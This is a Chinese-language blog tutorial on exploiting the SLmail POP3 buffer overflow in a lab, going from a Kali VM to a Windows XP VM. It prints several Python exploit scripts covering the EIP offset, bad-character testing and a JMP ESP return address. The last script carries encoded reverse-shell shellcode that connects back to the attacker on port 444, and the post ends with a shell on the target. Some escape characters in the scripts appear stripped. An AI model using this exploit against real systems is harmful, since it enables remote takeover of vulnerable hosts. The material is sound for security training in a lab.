• Kali学习笔记22:缓冲区溢出漏洞利用实验


    实验机器:

    Kali虚拟机一台(192.168.163.133)

    Windows XP虚拟机一台(192.168.163.130)

    如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢?

    用到的软件:

    SLmail程序(存在缓冲区溢出漏洞)

    ImmunityDebugger(调试工具)

    mona脚本(配合调试工具使用)

    这些在准备工作的文章中有百度网盘下载地址

    实验目的:

    用Kali虚拟机发送脚本,完成对SLmail程序的缓冲区溢出漏洞的利用

    从而获取目标windows机器的最高权限

    粗俗来说:黑了这个windows机器

    缓冲区溢出漏洞的概念以及实验准备:

    https://www.cnblogs.com/xuyiqing/p/9835561.html

    缓冲区溢出实验(漏洞发现):

    https://www.cnblogs.com/xuyiqing/p/9849072.html

    接着上篇文章:

     上次以及精确定位到EIP在2606位置

     那么是否可以修改ESP寄存器呢?

     如何确认ESP寄存器的大小呢?

     写一个小脚本:

    #!/usr/bin/python
    import socket
    
    buffer = 'A' * 2606 + 'B' * 4 + 'C' * (3500 - 2606 - 4)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "
    Sending evil buffer...
    "
        s.connect(('192.168.163.133', 110))
        data1 = s.recv(1024)
        s.send('USER test' + '
    ')
        data2 = s.recv(1024)
        s.send('PASS ' + buffer + '
    ')
        s.close()
        print '
    Done'
    except:
        print 'Can not connect to POP3'

    OK,隔了一段时间,先确认下有限服务器是否有问题:

    没有问题,打开调试工具,attach到SLmail,可以尝试脚本:

     

    看看调试工具:

    EIP被精确地塞满B,ESP被塞满C

    选中ESP右键Follow in dump:

    再右键Hex选择ascii 16bytes格式显示:

    观察C地起始位置和结束位置:

    就我这里而言:起始地址0212A158,终止地址:0212A2F8

    计算:

    打开科学计算器,16进制计算,2F8-158,得到结果1A0

    转换成10进制是416

    思路:

    通常使用的shellcode至少需要300字节左右

    这里416个字节是足够的

    如果我ESP这里上传一个shellcode,通过修改EIP的地址

    让程序跳转到ESP寄存器,提取Shellcode代码执行

    接下来就可以获取目标机器的最高权限

    接下来我们具体实现:

     其实思路看似很简单,但是这之中还有一些细节问题必须要解决:

    比如:有些字符在缓冲区有特定用途,不可以作为代码使用

    就像0x00,终止字符串拷贝操作,0x0D,表示命令输入完毕

    而这些字符根据协议和程序不同而不同,这些坏字符是不可以出现在缓冲区的

    所以,我们需要先解决这些坏字符:确认哪些字符是坏字符

    写一个脚本来确认:

    发送0x00-0xff一共256个字符,一个一个地确认

    想办法拼凑这些字符:然后发送

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    badchars = (
        "x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
        "x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
        "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
        "x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
        "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
        "x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
        "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
        "x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
        "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
        "x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
        "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
        "xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
        "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
        "xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
        "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
        "xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00")
    
    buffer = "A" * 2606 + "B" * 4 + badchars
    try:
        print "
    Sending evil buffer...
    "
        s.connect(('192.168.163.133', 110))
        data1 = s.recv(1024)
        s.send('USER test' + '
    ')
        data2 = s.recv(1024)
        s.send('PASS ' + buffer + '
    ')
        s.close()
        print '
    Done'
    except:
        print 'Can not connect to POP3'

    OK,我们来试试(如果Slmail服务崩了重启一下):

     发送过去看看调试工具:选择ESP右键dump看详细

     

    仔细观察:发现01到09都发送过去了,而0A以后出问题了,缓冲区不能接收0A字符

    大胆猜测:0A是个坏字符

    OK,那么我们把脚本里面的0A去掉:

    继续执行脚本:(注意重启POP服务)

    不错,发现除了去掉的0A,00和0D(0D被过滤掉了),其他的字符全部都出现了

    于是可以总结出:缓冲区的字符不能出现0A,0D,00

    接下来就可以做数据的重定向:

    把EIP四个字节改为ESP的地址理论上CPU在EIP提取地址读取然后执行

    看似很简单,其实还有很多的细节要处理

    比如:ESP的地址是变化的,不可以硬编码

    因为:Slmail是基于线程的应用程序,操作系统给每个线程分配一个地址范围,每个线程地址范围随机

    变通思路

    目标内存地址变动时候,在内存中寻找一个操作系统自带的模块,而且这个模块的地址是固定

    找个一个不变的内存地址,调用系统模块的JMP,ESP指令的地址,再由该指令间接跳转

    即:把Slmail的EIP寄存器放入上边说到的这个固定模块的JMP,ESP指令的地址,CPU读取JMP,ESP内存地址,进而跳到shellcode

    形象来说:就是某男想要追女神,但不知道她的微信,但某男认识她的闺蜜,这样一来就可以得到女神微信了(可能不合适,大概理解下)

    接下来呢?

    如何知道哪个系统模块的地址是固定的呢?

    这里就需要用到准备工作里面的mona.py脚本(把脚本放在调试工具目录里面)

     左下角输入!mona modules查询所有系统模块:

    关注rebase这一栏:重启内存地址是否变化,我们必须找false的

    ASLR和SafeSEH和NSCompat都是保护内存的项目

    因此,我们要找前四项都是false的

    OS dll这一列要选true,不同系统都可以利用的

    仔细寻找后,发现:OpenC32.dll可以使用

    继续使用mona查询下OpenC32.dll里面是否有JMP,ESP指令可以调用:

    !mona find -s" " -m module 命令可以查询

    注意查询命令不可以直接查JMP ESP

    这是汇编指令,而内存中使用的是二进制

    这里需要使用Kali系统自带的一个工具:可以将汇编指令转换成二进制

     

    发现转换成二进制是FFE4:

    搜索FFE4:

    没找到:

    一样的方法在下面找找:

    只有SLMFC.DLL和MFC42LOC.DLL前四项false,最后一项true

    分别试下:

    终于找到了!哈哈

    而且有19条(由于Slmail不含有很内存保护机制,所以理论上这19个都可以实现利用)

    如果有内存保护机制,需要下面这个有R(读)和E(执行)权限的(菜单栏点击m打开内存地图)

    19条中随便打开一个,右键dis开头的选项:

    找到了:5F4B41E3地址

    接下来就可以使用这个地址

    可以地址右键memory on access(开启断点)后边测试看

    继续,我们针对这个写一个脚本:(注意地址要反过来写)

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    buffer = "A" * 2606 + "xe3x41x4bx5f" + "C" * 390
    try:
        print "
    Sending evil buffer...
    "
        s.connect(('192.168.163.133', 110))
        data1 = s.recv(1024)
        s.send('USER test' + '
    ')
        data2 = s.recv(1024)
        s.send('PASS ' + buffer + '
    ')
        s.close()
        print '
    Done'
    except:
        print 'Can not connect to POP3'

    测试:正确跳转

    接下来就是最后一部了:

    把ESP里面这一堆C修改成Shellcode

     那么shellcode怎么获取呢?

    利用Kali里面现成的shellcode:

    msfpayload

    具体使用:

    我的思路是Kali机器开一个端口,让windows机器自己连过来

    这样可以避免被防火墙屏蔽(虽然现在我把防火墙关了)

    让目标把shell给我

    指定反向连接的IP和端口,针对win32

    这里就生成了一个shellcode

    但是这个shellcode不能直接用,因为含有坏字符

    所以要去掉坏字符

    这里就要用到另一个工具了:Msfencode

    把这些shellcode复制出来,继续写一个脚本:

    这里加了8个x90是什么意思呢?

    汇编语言的x90意思是不操作

    这里是为了保障汇编语言运行的有效性(经验之谈,防止异常)

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    shellcode = ("x6ax48x59xd9xeexd9x74x24xf4x5bx81x73x13xabx9cx6d" +
                 "xf8x83xebxfcxe2xf4x57xf6x86xb5x43x65x92x07x54xfc" +
                 "xe6x94x8fxb8xe6xbdx97x17x11xfdxd3x9dx82x73xe4x84" +
                 "xe6xa7x8bx9dx86xb1x20xa8xe6xf9x45xadxadx61x07x18" +
                 "xadx8cxacx5dxa7xf5xaax5ex86x0cx90xc8x49xd0xdex79" +
                 "xe6xa7x8fx9dx86x9ex20x90x26x73xf4x80x6cx13xa8xb0" +
                 "xe6x71xc7xb8x71x99x68xadxb6x9cx20xdfx5dx73xebx90" +
                 "xe6x88xb7x31xe6xb8xa3xc2x05x76xe5x92x81xa8x54x4a" +
                 "x0bxabxcdxf4x5excaxc3xebx1excaxf4xc8x92x28xc3x57" +
                 "x80x04x90xccx92x2exf4x15x88x9ex2ax71x65xfaxfexf6" +
                 "x6fx07x7bxf4xb4xf1x5ex31x3ax07x7dxcfx3exabxf8xdf" +
                 "x3exbbxf8x63xbdx90x6bx34xcex7cxcdxf4x6cx44xcdxcf" +
                 "xe4x19x3exf4x81x01x01xfcx3ax07x7dxf6x7dxa9xfex63" +
                 "xbdx9exc1xf8x0bx90xc8xf1x07xa8xf2xb5xa1x71x4cxf6" +
                 "x29x71x49xadxadx0bx01x09xe4x05x55xdex40x06xe9xb0" +
                 "xe0x82x93x37xc6x53xc3xeex93x4bxbdx63x18xd0x54x4a" +
                 "x36xafxf9xcdx3cxa9xc1x9dx3cxa9xfexcdx92x28xc3x31" +
                 "xb4xfdx65xcfx92x2exc1x63x92xcfx54x4cx05x1fxd2x5a" +
                 "x14x07xdex98x92x2ex54xebx91x07x7bxf4x9dx72xafxc3" +
                 "x3ex07x7dx63xbdxf8")
    
    buffer = "A" * 2606 + "xe3x41x4bx5f" + "x90" * 8 + shellcode
    try:
        print "
    Sending evil buffer...
    "
        s.connect(('192.168.163.133', 110))
        data1 = s.recv(1024)
        s.send('USER test' + '
    ')
        data2 = s.recv(1024)
        s.send('PASS ' + buffer + '
    ')
        s.close()
        print '
    Done'
    except:
        print 'Can not connect to POP3'

    发送过去!

    理想情况:如果脚本执行成功,会反弹回连444端口

    所以我先侦听kali的444端口:

    成功!我们可以操作windows系统了!

     OK!拿下了windowsxp系统(乱码小问题,不用在意)

    成功黑掉了windowsxp机器,哈哈哈

  • 相关阅读:
    Docker 系列(四):Docker 容器数据卷简单使用
    【QML 动态对象】使用JS中的语句动态创建和销毁组件
    【QML 动态对象】Loader动态加载组件
    vue-cli2.0全局使用sass变量
    两边+居中 布局
    跳转子路由后左侧菜单跳转为空白页,路由地址出错
    el-tree可搜索单选
    el-tree固定高度加滚动条
    前端 权限控制 方式
    综合分析类
  • 原文地址:https://www.cnblogs.com/xuyiqing/p/9875951.html
Copyright © 2020-2023  润新知